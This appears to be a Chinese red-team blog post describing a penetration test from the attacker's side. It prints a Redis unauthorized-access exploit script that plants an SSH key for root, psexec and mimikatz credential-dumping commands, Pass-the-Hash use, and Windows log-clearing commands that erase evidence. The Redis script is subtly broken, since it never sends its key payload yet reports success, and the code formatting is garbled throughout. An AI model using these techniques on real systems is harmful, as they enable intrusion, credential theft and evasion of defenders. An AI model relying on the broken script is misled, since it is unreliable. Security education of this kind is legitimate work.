0x01 从攻击者的视角:渗透测试的核心逻辑
渗透测试的本质,是模拟真实的攻击者对目标系统进行入侵尝试。作为一名红队专家,我始终将自己代入“攻击者”的角色,以目标为导向,逐步构建完整的攻击链。这不仅是一场技术的角逐,更是一场心理博弈。今天,我将从攻击者的视角,分享如何设计一场完整的渗透测试。
渗透测试的核心逻辑可以分为几个关键步骤:信息收集、漏洞发现与利用、权限提升、横向移动、数据窃取、痕迹清除。在每个阶段,都有大量技巧和工具可供选择。下面,我将结合一个真实案例,实际演示如何逐步完成攻防链上的每个环节。

---
0x02 信息收集:目标侦察的艺术
如果你不了解目标,又如何攻破它?信息收集是渗透测试的起点,也是整个攻击链的地基。这个阶段的目标,是尽可能多地收集目标系统的相关信息:域名、IP地址、开放端口、操作系统信息、服务版本、潜在的漏洞等。
信息收集的两种方式
- 被动收集
- 利用公开资源,查询目标的历史信息。例如:
- 使用 Whois 查询目标域名的注册信息;
- 使用 Shodan 搜索目标 IP 的暴露端口和服务;
- 在 Google 上搜索潜在的敏感文件。
- 代码示例(Python 调用 Shodan API 获取目标信息):
<pre><code class="language-python"> import shodan
Shodan API Key
SHODAN_API_KEY = "your_api_key_here" api = shodan.Shodan(SHODAN_API_KEY)
try:
查询目标
target = "192.168.1.1" result = api.host(target)
print(f"IP: {result['ip_str']}") print(f"Organization: {result['org']}") print(f"Operating System: {result.get('os', 'N/A')}") print("Open Ports:") for item in result['data']: print(f" - {item['port']} ({item['transport']})") except shodan.APIError as e: print(f"Error: {e}") ` 运行效果:这个脚本会返回目标 IP 的开放端口、服务版本和操作系统信息。
- 主动探测
- 使用扫描工具主动对目标进行探测,如 nmap、masscan。
- 示例命令:
-sC:启用默认脚本;-sV:检测服务版本;-A:启用操作系统探测和版本检测;-p-:扫描所有端口。
` nmap -sC -sV -A -p- target.com ` 解释:
案例分析:目标识别中的陷阱
有一次,我针对一个金融企业进行了渗透测试。在信息收集阶段,通过 Shodan 查询到了目标企业的一个暴露在互联网的旧 FTP 服务。进一步使用 nmap 探测发现,该 FTP 服务允许匿名登录。进入服务后,我轻松获取了一些测试数据库的备份文件,并通过其中的明文密码成功登录内网门户。

这告诉我们:信息收集阶段至关重要,许多漏洞并不是技术上的,而是配置上的疏漏。
---
0x03 漏洞利用:突破防线的关键手段
在获得足够的目标信息后,下一步是寻找系统中的漏洞并加以利用。这里,我将分享如何利用一个未授权访问漏洞,通过 Python 编写 EXP 获得目标系统的控制权。
漏洞背景
假设目标系统运行的是一个使用 Redis 的 Web 应用,而 Redis 默认不需要认证且绑定在 0.0.0.0:6379。通过未授权访问漏洞,我们可以直接写入恶意公钥文件,实现目标系统的控制。
EXP 实现
以下是一个完整的 Redis 未授权利用的 Python 脚本,可以生成恶意公钥并将其写入目标机器: </code></pre>python import os import socket
def generate_ssh_key():
生成 SSH 公私钥对
if not os.path.exists('./id_rsa'): os.system('ssh-keygen -q -t rsa -f ./id_rsa -N ""') with open('./id_rsa.pub', 'r') as f: return f.read().strip()
def exploit_redis(target_ip, target_port):
利用 Redis 未授权访问漏洞写入 SSH 公钥
key = generate_ssh_key() payload = f"\n\n\nssh-rsa {key} hacker@redteam\n\n\n"
try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) s.send(b"CONFIG SET dir /root/.ssh/\n") s.send(b"CONFIG SET dbfilename authorized_keys\n") s.send(b"SAVE\n") print(f"[+] Exploit successful! You can now SSH into {target_ip} using the private key.") except Exception as e: print(f"[-] Exploit failed: {e}") finally: s.close()
替换成目标 IP
exploit_redis("192.168.1.100", 6379) `
案例复盘
测试该脚本后,成功将恶意公钥写入目标机器的 /root/.ssh/authorized_keys 文件中。随后通过私钥登录,成功获取了目标机器的 root 权限。
---
0x04 横向移动:内网深度渗透
获取目标系统控制权后,下一步是横向移动,进一步扩展对整个内网的控制。这里的核心是寻找内网中的高价值资产,如域控服务器、数据库服务器等。
内网横向秘笈
- 利用 SMB 协议进行文件共享
- 使用
psexec.py工具直接获取目标机器的 shell:
` python3 psexec.py DOMAIN/username:password@target_ip `
- 窃取内网中的密码哈希
- 使用 mimikatz 抓取 LSASS 进程中的凭据:
` sekurlsa::logonpasswords `

实战经验
在一次实际渗透中,我通过横向移动找到了一个失误配置的域控服务器,抓取了域管理员的 NTLM 哈希值,并利用 Pass-the-Hash 技术成功控制了整个域环境。
---
0x05 痕迹清除与总结
作为红队的一员,我始终强调:没有清理干净的攻击就是失败的攻击。在完成渗透测试后,要谨慎删除所有修改和日志文件,避免对目标系统造成不必要的影响。
痕迹清理方法
- 删除系统日志:
- 清除自定义文件:
` wevtutil cl System wevtutil cl Security wevtutil cl Application `
`bash rm -rf /root/.ssh/authorized_keys `
---
0x06 红队经验分享
- 攻击链的完整性:不要跳过任何一个环节,特别是信息收集阶段;
- 灵活性:不要拘泥于一种技术或工具,攻击是艺术;
- 隐蔽性:尽可能降低攻击的痕迹,避免被防守方发现。
渗透测试不仅仅是技术的对抗,更是思维与策略的博弈。希望这篇文章能让你站在攻击者的视角,理解渗透测试的完整流程。记住,技术永远只是工具,真正的武器是你的思维。